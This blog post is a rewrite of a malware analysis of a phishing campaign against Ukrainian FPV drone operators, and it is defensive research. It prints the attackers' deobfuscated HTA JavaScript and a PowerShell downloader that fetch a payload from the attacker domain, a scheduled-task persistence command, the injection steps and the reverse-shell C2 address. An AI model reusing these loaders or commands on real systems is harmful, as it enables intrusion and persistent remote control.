UAC-0247 / UAC-0244 campaign header image

UAC-0247 / UAC-0244: HTA-Borne Malware Hunts Ukrainian FPV Drone Operators

Original English rewrite with full credit. This article is an independent English-language rewrite of “UAC-0244 / UAC-0247: Malware Targeting FPV drone operators” by Robin Dost, published on the Synaptic Security Blog on May 21, 2026.

All original research, screenshots, decoded scripts, hashes, infrastructure findings, and the IIM Chain diagram remain the work of the original author. Please read the source for the complete, definitive analysis — this rewrite exists to make the work accessible to a wider English-speaking audience on core-jmp.org with explicit attribution.

Source: blog.synapticsystems.de/uac-0247-malware-targeting-fpv-operators

UAC-0247 / UAC-0244 campaign header image
Original header image. Source: Synaptic Security Blog — Robin Dost.

Executive Summary

A Ukrainian-language phishing campaign tracked first as UAC-0247 — and confirmed by CERT-UA to be the same operator cluster previously tagged UAC-0244 — has been targeting FPV drone operators and Ukrainian military personnel since at least late February 2026. The lure abuses the brand of UkrVarta, a Ukrainian foundation that supplies FPV drones and other equipment to military units, dressing the malicious payload up as a humanitarian-aid application form. A multi-stage chain — ZIP → LNK → mshta.exe → obfuscated JavaScript inside an HTA → curl-delivered binary → injected reverse shell — quietly establishes persistence through a 10-minute scheduled task masquerading as “OneDriveUpdater”.

The interesting value of Robin Dost’s research is not just the malware itself: it’s the visibility into the operator’s evolution. By comparing two generations of the same dropper (dopomoga.hta vs. dopomoga.hta.old), the post documents how the actor traded a noisy PowerShell EncodedCommand + in-script XOR for a quieter curl-and-server-side-decrypt pattern, removed the embedded XOR key (fuck in ASCII) from the client, renamed the scheduled task to drop a tell-tale space (“OneDrive Updater” → “OneDriveUpdater”), and added /f to keep clobbering existing scheduled tasks. Combined with directory-listing leaks on the staging server, that timeline tells you almost as much about the actor as the binaries do.

Hashes & Sample Locations

The original article publishes the following samples on the author’s Malwarebox / Mantis platform. They are reproduced here exactly as listed in the source so analysts can pull the same artefacts.

SHA-256DescriptionDownload
8040da63a8f5be3fec9724d6d6e6f101f5336d99be309bf0b7cd781f12aace15Initial ZIP archive (the “humanitarian aid form” lure)mantis.malwarebox.eu
c06cc6122b798f88a05a088bfed39594af86ba714da89fec5ca62d7119782df9updater.exe — stage-1 loadermantis.malwarebox.eu
b1d765f50f5c53702658b7a59a9bd05cfb042ea6b2d150191a84c53d373b9e4aFinal encrypted reverse shell payloadmantis.malwarebox.eu
Hash table reproduced verbatim from the source article. Source: Synaptic Security Blog.

The unpacked final payload is also identified in the original analysis as EncryptedReverseShell.exe with SHA-256 268400390be82fcb46f1b23e0319f2f2ba477e392014b41b57df587b99ecc3c5 (MD5 1c95b3d3ac3d6f9c839df333532060b4).

Contents of the malicious ZIP archive containing a Ukrainian-language LNK lure
Contents of the malicious ZIP archive — a single LNK file named «Форма заявки на гуманітарну допомогу фонд УкрВарта» (“Application form for humanitarian aid — UkrVarta foundation”). Source: original article.
LNKParse output showing the mshta command line inside the malicious shortcut
LNKParse output: the shortcut launches mshta.exe against a remote HTA hosted on ukrvarta[.]online. Source: original article.
Front page of the UkrVarta foundation website used as a lure
The real UkrVarta foundation front page (Ukrainian version, currently offline). UkrVarta describes its mission as “A Technological Edge for Victory” — supplying FPV drones, UAVs, equipment, PES tools, and platforms for knowledge sharing between military and industry. This brand is what the actor weaponises. Source: original article.
UkrVarta humanitarian aid application form, returning a geofencing error outside Ukraine
The aid-application page, geofenced — visitors outside Ukraine see an error rather than the form. Source: original article.
Apache open directory listing for the /dopomoga/ path on the attacker server
Open directory listing under /dopomoga/ — an OPSEC failure that exposed the entire staging tree to anyone who guessed the path. Source: original article.
Apache open directory listing for the /conference/ path on the attacker server
Same problem under /conference/ — the older variant’s staging path was equally indexable. Source: original article.
DomainTools WHOIS lookup result for the ukrvarta.online domain
WHOIS for ukrvarta[.]online via DomainTools. Source: original article.
Front page of the nuxt.cloud hosting provider hosting the attacker infrastructure
Infrastructure traces back to nuxt.cloud, a Russian hosting provider. Source: original article.

dopomoga.hta

The current-generation HTA at https://ukrvarta[.]online/dopomoga/dopomoga.hta sources an external script.js from the same path. The JavaScript is obfuscated with the standard string-array / function-rotation pattern (obfuscator.io-style), but with one indirection layer it is trivially recovered:

Initial analysis of the dopomoga.hta loader script
Initial look at the dopomoga.hta loader. Source: original article.
JavaScript deobfuscation of the dopomoga.hta payload
JavaScript layer after partial deobfuscation. Source: original article.
Heavily obfuscated JavaScript inside the dopomoga.hta HTML application
Obfuscated JavaScript inside dopomoga.hta — string array, integer salt, and modulo selector. Source: original article.

The cleaned-up JavaScript (function-renaming and constant inlining left for clarity) is reproduced verbatim from the source:

var _0x3a94ab = _0x423d;
(function(_0x2c8484, _0x4bc3b2) {
    var _0x1c7b96 = _0x423d,
        _0xd85eea = _0x2c8484();
    while (!![]) {
        try {
            var _0x549a15 = parseInt(_0x1c7b96(0x75)) / 0x1 * (parseInt(_0x1c7b96(0x69)) / 0x2) + parseInt(_0x1c7b96(0x74)) / 0x3 * (parseInt(_0x1c7b96(0x68)) / 0x4) + parseInt(_0x1c7b96(0x6d)) / 0x5 * (parseInt(_0x1c7b96(0x71)) / 0x6) + -parseInt(_0x1c7b96(0x70)) / 0x7 + parseInt(_0x1c7b96(0x6e)) / 0x8 + -parseInt(_0x1c7b96(0x67)) / 0x9 + -parseInt(_0x1c7b96(0x6a)) / 0xa;
            if (_0x549a15 === _0x4bc3b2) break;
            else _0xd85eea['push'](_0xd85eea['shift']());
        } catch (_0x4fe4a6) {
            _0xd85eea['push'](_0xd85eea['shift']());
        }
    }
}(_0x2ef8, 0x1a797));

function _0x423d(_0x3e372e, _0x38ee68) {
    _0x3e372e = _0x3e372e - 0x66;
    var _0x2ef82a = _0x2ef8();
    var _0x423df7 = _0x2ef82a[_0x3e372e];
    return _0x423df7;
}

function _0x2ef8() {
    var _0x4ef266 = ['130JQmnzp', '3147470risYJl', 'ExpandEnvironmentStrings', 'Run', '10515Kkhyjk', '884136eDOoYM', 'FolderExists', '181503MnBNuA', '450VEtRbM', 'Scripting.FileSystemObject', 'cmd /c curl https://ukrvarta[.]online/dopomoga/updater.txt -o %LOCALAPPDATA%\\OneDriveUpdater\\OneDriveUpdater.exe', '9jfLoPO', '372NwroHM', 'cmd /c schtasks /create /tn "OneDriveUpdater" /tr "%LOCALAPPDATA%\\OneDriveUpdater\\OneDriveUpdater.exe" /sc MINUTE /mo 10 /ru "%USERNAME%" /f', 'CreateFolder', '55215VCwWVW', '217104rlhWVm'];
    _0x2ef8 = function() {
        return _0x4ef266;
    };
    return _0x2ef8();
}
var shell = new ActiveXObject('WScript.Shell'),
    fso = new ActiveXObject(_0x3a94ab(0x72)),
    dir = shell[_0x3a94ab(0x6b)]('%LOCALAPPDATA%\\OneDriveUpdater');
if (!fso[_0x3a94ab(0x6f)](dir)) fso[_0x3a94ab(0x66)](dir);
shell[_0x3a94ab(0x6c)](_0x3a94ab(0x73), 0x0, !![]), shell['Run'](_0x3a94ab(0x76), 0x0, !![]);

Stripped of the indirection, the loader does exactly two things: curl the binary out of /dopomoga/updater.txt into %LOCALAPPDATA%\OneDriveUpdater\OneDriveUpdater.exe, then register a 10-minute scheduled task pointing at it.

dopomoga.html

The HTML companion to the HTA serves an embedded ZIP and instructs the visitor to extract and double-click. The page’s structure is identical between the two variants modulo small cosmetic changes — the form was simplified from checkbox-driven categories to a single free-text field, which Robin Dost reads as a deliberate move to make the lure feel more like an actual aid request.

Analysis of the dopomoga.html dropper containing an embedded ZIP
dopomoga.html dropper analysis. Source: original article.

conference.hta

The older sibling, conference.hta, sits under the previous staging path (/conference/). It carries the same overall design — obfuscated JS, scheduled-task persistence — but in this generation the JavaScript’s string array still holds a base64-encoded PowerShell payload that performs the XOR decryption itself, rather than relying on the server to serve a plaintext binary.

Analysis of the conference.hta variant of the loader
conference.hta analysis — older variant with embedded PowerShell + XOR. Source: original article.

conference2026_webdavroot.html

An additional artefact under /conference/ is the conference2026_webdavroot.html page, which redirects the victim toward a WebDAV share on ukrvarta[.]online:8080/davwwwroot. WebDAV-borne LNK / HTA delivery is recurring in this actor’s toolbox — it sidesteps Mark-of-the-Web on the LNK without needing an ISO/IMG container.

Analysis of the conference2026_webdavroot.html WebDAV delivery vector
conference2026_webdavroot.html WebDAV delivery vector. Source: original article.

dopomoga.html vs dopomoga.html.old: what the diff reveals

The most instructive part of the post is the diff between the two HTML/JS generations. The newer one is meaningfully quieter on EDR shelves.

Visual diff between the new and old variants of the dopomoga.html dropper
Side-by-side diff between dopomoga.html and dopomoga.html.old. Source: original article.
Detailed unified diff between old and new variants of the loader scripts
Unified diff of the loader scripts. Source: original article.

XOR-encrypted payload removed

The old variant decoded a base64 PowerShell blob client-side, which contained the XOR-decrypt routine. The four-byte key was the ASCII string fuck (0x66 0x75 0x63 0x6b):

$url = "https://ukrvarta[.]online/conference/updater.txt"
$outPath = "$env:LOCALAPPDATA\OneDriveUpdater\OneDriveUpdater.exe"
$key = [byte[]](0x66,0x75,0x63,0x6b)

$bytes = (New-Object System.Net.WebClient).DownloadData($url)
$out = New-Object byte[] $bytes.Length

for ($i = 0; $i -lt $bytes.Length; $i++) {
    $out[$i] = $bytes[$i] -bxor $key[$i % $key.Length]
}

New-Item -ItemType Directory -Force -Path (Split-Path $outPath) | Out-Null
[IO.File]::WriteAllBytes($outPath, $out)

The new variant ditches the whole thing: the server now hands back the binary already decoded, and the client just curls it to disk.

PowerShell EncodedCommand removed

The old loader is the kind of thing that lights up every EDR PowerShell rule: a long powershell -ep bypass -NoProfile -WindowStyle Hidden -e "<base64>" command line. The new variant replaces that with a plain cmd /c curl … -o …. The full original obfuscated JavaScript from the old variant — including the base64 EncodedCommand — is preserved verbatim for completeness:

var _0x983f2c = _0x5181;

function _0x151a() {
    var _0x46139d = ['1310370daJGwY', '100kyJUCo', 'CreateFolder', 'ExpandEnvironmentStrings', '28156932gkTQNF', 'JAB1AHIAbAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB1AGsAcgB2AGEAcgB0AGEALgBvAG4AbABpAG4AZQAvAGMAbwBuAGYAZQByAGUAbgBjAGUALwB1AHAAZABhAHQAZQByAC4AdAB4AHQAIgAKACQAbwB1AHQAUABhAHQAaAAgAD0AIAAiACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQBcAFwATwBuAGUARAByAGkAdgBlAFUAcABkAGEAdABlAHIAXABcAE8AbgBlAEQAcgBpAHYAZQBVAHAAZABhAHQAZQByAC4AZQB4AGUAIgAKACQAawBlAHkAIAA9ACAAWwBiAHkAdABlAFsAXQBdACgAMAB4ADYANgAsADAAeAA3ADUALAAwAHgANgAzACwAMAB4ADYAYgApAAoAJABiAHkAdABlAHMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAdQByAGwAKQAKACQAbwB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAoAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgACQAbwB1AHQAWwAkAGkAXQAgAD0AIAAkAGIAeQB0AGUAcwBbACQAaQBdACAALQBiAHgAbwByACAAJABrAGUAeQBbACQAaQAgACUAIAAkAGsAZQB5AC4ATABlAG4AZwB0AGgAXQAKAH0ACgBOAGUAdwAtAEkAdABlAG0AIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAIAAtAFAAYQB0AGgAIAAoAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAkAG8AdQB0AFAAYQB0AGgAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAbwB1AHQAUABhdH=', 'WScript.Shell', '3gPnEdG', '642260aMAGfo', 'cmd /c schtasks /create /tn "OneDrive Updater" /tr "%LOCALAPPDATA%\\OneDriveUpdater\\OneDriveUpdater.exe" /sc MINUTE /mo 10 /ru "%USERNAME%"', 'FolderExists', '3920912ddfJWR', 'Run', '8752373xtHrec', '%LOCALAPPDATA%\\OneDriveUpdater', 'powershell -ep bypass -NoProfile -WindowStyle Hidden -e "', '7080552AbMXlm', '125420YqUUQN'];
    _0x151a = function() {
        return _0x46139d;
    };
    return _0x151a();
}(function(_0x5b2a70, _0x596711) {
    var _0x382d07 = _0x5181,
        _0x25a5cc = _0x5b2a70();
    while (!![]) {
        try {
            var _0x1b72c2 = -parseInt(_0x382d07(0x1ae)) / 0x1 + -parseInt(_0x382d07(0x1a6)) / 0x2 * (-parseInt(_0x382d07(0x1ad)) / 0x3) + parseInt(_0x382d07(0x1a7)) / 0x4 * (parseInt(_0x382d07(0x1a5)) / 0x5) + -parseInt(_0x382d07(0x1a6)) / 0x6 + -parseInt(_0x382d07(0x1b3)) / 0x7 + -parseInt(_0x382d07(0x1b1)) / 0x8 + parseInt(_0x382d07(0x1aa)) / 0x9;
            if (_0x1b72c2 === _0x596711) break;
            else _0x25a5cc['push'](_0x25a5cc['shift']());
        } catch (_0x332af4) {
            _0x25a5cc['push'](_0x25a5cc['shift']());
        }
    }
}(_0x151a, 0xcf09c));
var shell = new ActiveXObject(_0x983f2c(0x1ac)),
    fso = new ActiveXObject('Scripting.FileSystemObject'),
    dir = shell[_0x983f2c(0x1a9)](_0x983f2c(0x1a2));
!fso[_0x983f2c(0x1b0)](dir) && fso[_0x983f2c(0x1a8)](dir);

function _0x5181(_0x151920, _0x3b71ee) {
    _0x151920 = _0x151920 - 0x1a2;
    var _0x151a28 = _0x151a();
    var _0x518101 = _0x151a28[_0x151920];
    return _0x518101;
}
var shell = new ActiveXObject(_0x983f2c(0x1ac)),
    ps = _0x983f2c(0x1ab);
shell[_0x983f2c(0x1b2)](_0x983f2c(0x1a3) + ps + '"', 0x0, !![]), shell[_0x983f2c(0x1b2)](_0x983f2c(0x1af), 0x0, !![]);

URL changed

The download URL flipped from https://ukrvarta[.]online/conference/updater.txt to https://ukrvarta[.]online/dopomoga/updater.txt. The path change tracks the lure’s reframing from “conference” to “dopomoga” (aid).

Scheduled task name changed

OneDrive Updater” (with space) became “OneDriveUpdater” (no space). It’s a small change with a meaningful detection consequence: defenders who had keyed alerts on the exact older name will miss the new one until they widen the rule.

/f was added

The new schtasks /create command line carries /f, which forces overwriting an existing task without prompting. That suggests the actor has seen cases where their own scheduled task was already present (re-infection, repeated execution from the lure), and they want clean re-deployment.

updater.exe

The dropped binary (c06cc6122b798f88a05a088bfed39594af86ba714da89fec5ca62d7119782df9) is a PE32+ x86-64 GUI executable, 222056 bytes, with a PE TimeDateStamp of Saturday, March 14 2026 20:42:39 UTC. Image base 0x140000000, entry-point RVA 0x20a4. The Authenticode certificate references the Microsoft code-signing chain — the source notes that the validity of that chain was not verified, and the implication is the certificate is a leftover, embedded for show.

Hybrid Analysis sandbox report for the updater.exe loader
Hybrid Analysis sandbox report for updater.exe. Source: original article.

Resolved syscalls

updater.exe resolves a small set of NTDLL functions through a CRC32-based hash table. Robin Dost recovers the following mapping:

CRC32 hashResolved function
dbf381b5NtOpenProcess
e0762febNtAllocateVirtualMemory
e4879939NtWriteVirtualMemory
5c2d1a97NtProtectVirtualMemory
2073465aNtCreateThreadEx
dd554681NtWaitForSingleObject
CRC32 → NTDLL function map used by the loader. Source: original article.

Injection chain

The chosen injection target is RuntimeBroker.exe — a process that’s ubiquitous on modern Windows desktops and rarely flagged by humans during triage. The sequence is:

  1. NtOpenProcess on the target RuntimeBroker.exe.
  2. NtAllocateVirtualMemory for 0x19321 bytes, initially PAGE_READWRITE.
  3. NtWriteVirtualMemory writes the encoded payload into the freshly allocated region.
  4. NtProtectVirtualMemory flips the region to PAGE_NOACCESS.
  5. Sleep(47999) — roughly 48 seconds of doing nothing, designed to outlast quick-look sandbox runs.
  6. NtProtectVirtualMemory flips the region to PAGE_EXECUTE_READ.
  7. NtCreateThreadEx starts the new thread on the now-executable shellcode.
  8. NtWaitForSingleObject waits for it to complete.

The PAGE_READWRITE → PAGE_NOACCESS → PAGE_EXECUTE_READ transition is the interesting piece: leaving the region briefly inaccessible — not RWX — defeats the simplest behavioural detections that watch for “write then execute” on the same page without an inert intermediate state. The shellcode itself is stored XOR-encoded in the .data section at VA 0x14001a000 (raw offset 0x18000), keyed with the single byte 0x66. After decryption the first eight bytes are 57 31 c0 b9 0a 00 00 00.

Shellcode / nested loader

The decrypted blob is a nested loader. It walks an internal package format, resolves a handful of additional APIs by hash (LdrLoadDll, NtAllocateVirtualMemory, NtProtectVirtualMemory, NtFreeVirtualMemory), and then uses RtlDecompressBuffer with format 0x2 (LZNT1) to inflate the final payload into a fresh allocation.

Final payload

The inflated payload is a PE32+ x86-64 GUI binary, 0x20800 bytes (133120), with a PE TimeDateStamp of Tuesday, March 3 2026 19:53:17 UTC and entry-point VA 0x140001978. Its PDB string was left in: C:\Users\user\source\repos\EncryptedReverseShell\x64\Release\EncryptedReverseShell.pdb — which gives the project away by name.

C2 / Reverse shell

The reverse shell connects to a hard-coded IPv4 address and port:

lea rcx, [109.237.97.4]
call inet_addr
mov ecx, 0x20fb
call htons
// 0x20fb = 8443 in decimal

Once connected, the protocol is XOR-obfuscated with a 9-byte rolling key 01 01 02 03 74 15 04 ff ee. Command execution uses the classic cmd /C %s pattern with anonymous pipes capturing stdout/stderr back into the encrypted stream.

IIM Chain & pattern

The author overlays the campaign on his Infrastructure Intelligence Model (IIM) — a framework that treats each campaign as a connected graph of staging files, hosts, and timing signals rather than a flat list of IOCs. The full diagram is published as an SVG at blog.synapticsystems.de/wp-content/uploads/2026/04/uac_0247_ukrvarta_fpv_dopomoga_2026_03-1.svg (we link rather than re-host the SVG because the WordPress install on core-jmp.org currently rejects SVG uploads). An interactive version exists at mantis.malwarebox.eu.

The chain is active from February 24, 2026 through March 22, 2026 — 27 days — with two very tight timing fingerprints reproduced verbatim from the source:

WeekdayCount
Tuesday4
Wednesday1
Friday1
Saturday1
Sunday5
Activity by weekday. Source: original article.
Time windowCount
00:00-00:591
17:00-17:591
20:00-20:595
21:00-21:591
22:00-22:594
Activity by hour (server time). Source: original article.

Ten of twelve events fall between 20:00 and 22:59 — a strong working-hours signal. Sunday and Tuesday dominate. Combined with the Russian hosting provider and the Ukrainian-language lure, the timing supports the actor profile sketched by CERT-UA.

Attribution

The original post cites CERT-UA as the authority that ties the two cluster identifiers together. Both the Ukrainian original and the author’s English translation are quoted verbatim from the source:

CERT-UA звертає увагу спільноти на те, що активність, описана в цій статті як окремий кластер кіберзагроз UAC-0247, фактично здійснюється особами, діяльність яких раніше відстежувалася за ідентифікатором UAC-0244

CERT-UA draws the community’s attention to the fact that the activity described in this article as a separate cyber threat cluster UAC-0247 is actually carried out by individuals whose activity was previously tracked under the identifier UAC-0244.

CERT-UA, via the original article

The source also reproduces UkrVarta’s mission statement as a reminder of what the actor is mimicking:

A Technological Edge for Victory. UkrVarta supplies units with state-of-the-art FPV drones, UAVs, various types of equipment, PES tools and platforms for knowledge sharing between the military and industry.

UkrVarta — reproduced from the source article

Key Takeaways

  • UAC-0247 = UAC-0244 per CERT-UA — not a new actor, an evolution. Detection content built around the older identifier still applies, but should be refreshed for the new artefact names (OneDriveUpdater without space; /dopomoga/ path).
  • FPV drone operators and UkrVarta donors are the social-engineering target. Anyone fielding humanitarian-aid forms in the Ukrainian theatre should treat .lnk attachments and mshta-launched HTAs as default-hostile.
  • HTA + obfuscated JS + curl is the new quiet path. The actor explicitly traded PowerShell EncodedCommand for plain curl to evade behavioural rules — mirror that move in your detections.
  • Persistence is a 10-minute scheduled task named “OneDriveUpdater” under %LOCALAPPDATA%\OneDriveUpdater\OneDriveUpdater.exe. The masquerade is shallow but effective during quick triage.
  • Final payload lives in RuntimeBroker.exe, reached via a RW → NoAccess → ~48s sleep → RX page-protection dance — a deliberate sandbox-bait pattern.
  • OPSEC is mediocre. Open directory listings, hard-coded C2 IP, leftover PDB path (EncryptedReverseShell.pdb), and a Russian hosting provider all leak the campaign. The actor is consistent, not careful.

Defensive Recommendations

  • Block mshta.exe spawning from user-writable paths (Downloads, Desktop, Temp, mounted ZIPs, WebDAV). This kills the LNK->HTA bridge entirely.
  • Alert on schtasks /create with /sc MINUTE and /mo 10-style cadence under a user-context /ru. Sub-hourly scheduled tasks are rare in legitimate corporate use.
  • Hunt for files under %LOCALAPPDATA%\OneDriveUpdater\ — the real OneDrive updater does not use this path.
  • Block egress to 109.237.97.4:8443 and to ukrvarta[.]online on perimeter and DNS. Add nuxt.cloud netblocks to enhanced inspection if your environment has no business there.
  • Detect curl spawned by mshta or by JavaScript-hosted ActiveXWScript.Shell.Run("cmd /c curl … -o …") is a high-signal anomaly.
  • YARA / Sigma the PDB string EncryptedReverseShell.pdb and the CRC32 hash set above. Cheap, durable, low-false-positive.
  • Watch for RuntimeBroker.exe outbound connections — on a clean host it should never speak to arbitrary internet IPs on 8443.
  • For Ukrainian organisations specifically: brief FPV-equipment recipients that legitimate UkrVarta correspondence never ships a .lnk file. Pair the brief with CERT-UA’s advisory.

Conclusion

UAC-0247 is a textbook example of why we keep finding HTA-based intrusions on Windows in 2026: the technique is older than most analysts, the legitimate uses are essentially zero, and the actor footprint — an LNK, a scheduled task, a 9-byte XOR — is small enough to slip past tooling that has been tuned for newer attack surfaces. Robin Dost’s post is worth reading in full not only for the IOCs but for what the diff between the two variants tells us: the operator is iterating, watching what gets caught, and quietly removing the loud bits. Defensive content that catches one variant will not catch the next unless it’s anchored on behaviour (mshta → curl, sub-hourly scheduled tasks under %LOCALAPPDATA%, RuntimeBroker reaching out to 8443) rather than strings.

This article is an independent English-language rewrite of «UAC-0244 / UAC-0247: Malware Targeting FPV drone operators» by Robin Dost, originally published on the Synaptic Security Blog. All research, screenshots, decoded scripts, and the IIM Chain diagram are the work of the original author. Please cite Robin Dost / Synaptic Security Blog when referencing this material.

Comments are closed.